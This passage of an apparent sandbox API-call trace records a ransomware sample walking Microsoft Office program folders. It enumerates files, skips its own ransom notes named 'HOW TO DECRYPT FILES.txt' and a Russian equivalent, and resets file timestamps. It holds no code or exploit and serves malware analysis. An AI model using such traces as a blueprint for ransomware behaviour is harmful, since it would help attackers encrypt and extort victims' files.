lpMsg=0x18f8d4) returned 0 [0066.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL102.XML") returned -1 [0066.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL102.XML") returned -1 [0066.424] lstrcmpiA (lpString1="", lpString2="PGLBL102.XML") returned -1 [0066.424] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL097.XML") returned="PGLBL097.XML" [0066.424] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45027800, ftCreationTime.dwHighDateTime=0x1ca0f15, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45027800, ftLastWriteTime.dwHighDateTime=0x1ca0f15, nFileSizeHigh=0x0, nFileSizeLow=0x27aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL103.XML", cAlternateFileName="")) returned 1 [0066.425] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.425] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL103.XML") returned -1 [0066.425] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL103.XML") returned -1 [0066.425] lstrcmpiA (lpString1="", lpString2="PGLBL103.XML") returned -1 [0066.425] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL102.XML") returned="PGLBL102.XML" [0066.425] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61dc500, ftCreationTime.dwHighDateTime=0x1ca1702, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf61dc500, ftLastWriteTime.dwHighDateTime=0x1ca1702, nFileSizeHigh=0x0, nFileSizeLow=0x1fcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL104.XML", cAlternateFileName="")) returned 1 [0066.425] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.425] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL104.XML") returned -1 [0066.425] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL104.XML") returned -1 [0066.425] lstrcmpiA (lpString1="", lpString2="PGLBL104.XML") returned -1 [0066.425] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML") returned="PGLBL103.XML" [0066.425] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL105.XML", cAlternateFileName="")) returned 1 [0066.426] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.426] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL105.XML") returned -1 [0066.426] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL105.XML") returned -1 [0066.426] lstrcmpiA (lpString1="", lpString2="PGLBL105.XML") returned -1 [0066.426] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML") returned="PGLBL104.XML" [0066.427] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fb7700, ftCreationTime.dwHighDateTime=0x1ca1b41, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fb7700, ftLastWriteTime.dwHighDateTime=0x1ca1b41, nFileSizeHigh=0x0, nFileSizeLow=0x9ae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL106.XML", cAlternateFileName="")) returned 1 [0066.427] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.427] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL106.XML") returned -1 [0066.427] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL106.XML") returned -1 [0066.427] lstrcmpiA (lpString1="", lpString2="PGLBL106.XML") returned -1 [0066.427] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML") returned="PGLBL105.XML" [0066.427] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.427] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL107.XML") returned -1 [0066.427] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL107.XML") returned -1 [0066.427] lstrcmpiA (lpString1="", lpString2="PGLBL107.XML") returned -1 [0066.427] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML") returned="PGLBL106.XML" [0066.427] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.427] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL108.XML") returned -1 [0066.427] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL108.XML") returned -1 [0066.428] lstrcmpiA (lpString1="", lpString2="PGLBL108.XML") returned -1 [0066.428] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML") returned="PGLBL107.XML" [0066.428] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL109.XML") returned -1 [0066.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL109.XML") returned -1 [0066.428] lstrcmpiA (lpString1="", lpString2="PGLBL109.XML") returned -1 [0066.428] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML") returned="PGLBL108.XML" [0066.428] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL110.XML") returned -1 [0066.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL110.XML") returned -1 [0066.428] lstrcmpiA (lpString1="", lpString2="PGLBL110.XML") returned -1 [0066.428] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML") returned="PGLBL109.XML" [0066.428] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL111.XML") returned -1 [0066.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL111.XML") returned -1 [0066.429] lstrcmpiA (lpString1="", lpString2="PGLBL111.XML") returned -1 [0066.429] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML") returned="PGLBL110.XML" [0066.429] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGMN001.XML") returned -1 [0066.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGMN001.XML") returned -1 [0066.429] lstrcmpiA (lpString1="", lpString2="PGMN001.XML") returned -1 [0066.429] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL111.XML") returned="PGLBL111.XML" [0066.429] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGMN002.XML") returned -1 [0066.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGMN002.XML") returned -1 [0066.429] lstrcmpiA (lpString1="", lpString2="PGMN002.XML") returned -1 [0066.429] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN001.XML") returned="PGMN001.XML" [0066.429] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGMN010.XML") returned -1 [0066.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGMN010.XML") returned -1 [0066.429] lstrcmpiA (lpString1="", lpString2="PGMN010.XML") returned -1 [0066.429] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN002.XML") returned="PGMN002.XML" [0066.429] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGMN011.XML") returned -1 [0066.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGMN011.XML") returned -1 [0066.429] lstrcmpiA (lpString1="", lpString2="PGMN011.XML") returned -1 [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML") returned="PGMN010.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML") returned="PGMN011.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML") returned="PGMN020.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML") returned="PGMN022.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML") returned="PGMN026.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML") returned="PGMN027.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN044.XML") returned="PGMN044.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN048.XML") returned="PGMN048.XML" [0066.430] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN054.XML") returned="PGMN054.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML") returned="PGMN058.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML") returned="PGMN065.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML") returned="PGMN075.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML") returned="PGMN081.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN082.XML") returned="PGMN082.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN086.XML") returned="PGMN086.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML") returned="PGMN089.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML") returned="PGMN090.XML" [0066.431] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML") returned="PGMN092.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML") returned="PGMN095.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML") returned="PGMN096.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML") returned="PGMN097.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML") returned="PGMN102.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML") returned="PGMN103.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML") returned="PGMN105.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML") returned="PGMN107.XML" [0066.432] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML") returned="PGMN108.XML" [0066.433] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML") returned="PGMN109.XML" [0066.433] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML") returned="PGMN110.XML" [0066.433] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML") returned="PGMN111.XML" [0066.433] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\*.*") returned="*.*" [0066.433] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PDSBASE.DLL") returned="PDSBASE.DLL" [0066.434] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PE.DLL") returned="PE.DLL" [0066.434] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PEOPLEDATAHANDLER.DLL") returned="PEOPLEDATAHANDLER.DLL" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PJCALEND.DLL") returned="PJCALEND.DLL" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\POWERPNT.EXE") returned="POWERPNT.EXE" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest") returned="powerpnt.exe.manifest" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PPCORE.DLL") returned="PPCORE.DLL" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PPSLAX.DLL") returned="PPSLAX.DLL" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PPTICO.EXE") returned="PPTICO.EXE" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML") returned="PPTIRM.XML" [0066.435] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML") returned="PPTIRMV.XML" [0066.469] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROJIMPT.EXE") returned="PROJIMPT.EXE" [0066.469] lstrcmpA (lpString1=".", lpString2="PROOF") returned -1 [0066.469] lstrcmpA (lpString1="..", lpString2="PROOF") returned -1 [0066.469] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROJMODL.DLL") returned="PROJMODL.DLL" [0066.469] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="PROOF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0066.469] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.471] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.471] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.471] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.471] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0066.472] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0066.472] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*.*") returned="*.*" [0066.472] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\", lpString2="1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" [0066.472] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502558 [0066.473] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.473] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.473] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.473] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*.*") returned="*.*" [0066.474] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.474] CloseHandle (hObject=0x90) returned 1 [0066.474] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\", lpString2="MSGR3EN.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\MSGR3EN.DLL" [0066.475] lstrcmpA (lpString1=".", lpString2="1036") returned -1 [0066.475] lstrcmpA (lpString1="..", lpString2="1036") returned -1 [0066.475] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*.*") returned="*.*" [0066.475] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\", lpString2="1036" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" [0066.475] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0066.475] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.475] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.475] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.475] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*.*") returned="*.*" [0066.477] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.477] CloseHandle (hObject=0x90) returned 1 [0066.477] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\", lpString2="MSGR3FR.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\MSGR3FR.DLL" [0066.477] lstrcmpA (lpString1=".", lpString2="3082") returned -1 [0066.477] lstrcmpA (lpString1="..", lpString2="3082") returned -1 [0066.478] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*.*") returned="*.*" [0066.478] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\", lpString2="3082" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" [0066.478] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502558 [0066.478] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.478] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.478] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.478] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*.*") returned="*.*" [0066.479] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.479] CloseHandle (hObject=0x90) returned 1 [0066.480] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\", lpString2="MSGR3ES.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\MSGR3ES.DLL" [0066.480] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*.*") returned="*.*" [0066.481] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.482] CloseHandle (hObject=0x8c) returned 1 [0066.482] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\", lpString2="MSGR3EN.LEX" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" [0066.482] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX") returned="MSGR3EN.LEX" [0066.482] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX") returned="MSGR3ES.LEX" [0066.482] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX") returned="MSGR3FR.LEX" [0066.482] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.DLL") returned="MSHY7EN.DLL" [0066.482] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX") returned="MSHY7EN.LEX" [0066.483] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.DLL") returned="MSHY7ES.DLL" [0066.483] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX") returned="MSHY7ES.LEX" [0066.483] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.DLL") returned="MSHY7FR.DLL" [0066.483] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX") returned="MSHY7FR.LEX" [0066.483] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.DLL") returned="MSSP7EN.DLL" [0066.484] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub") returned="MSSP7EN.dub" [0066.484] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX") returned="MSSP7EN.LEX" [0066.484] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.DLL") returned="MSSP7ES.DLL" [0066.484] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.dub") returned="MSSP7ES.dub" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX") returned="MSSP7ES.LEX" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.DLL") returned="MSSP7FR.DLL" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub") returned="MSSP7FR.dub" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX") returned="MSSP7FR.LEX" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.DLL") returned="MSTH7EN.DLL" [0066.485] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft 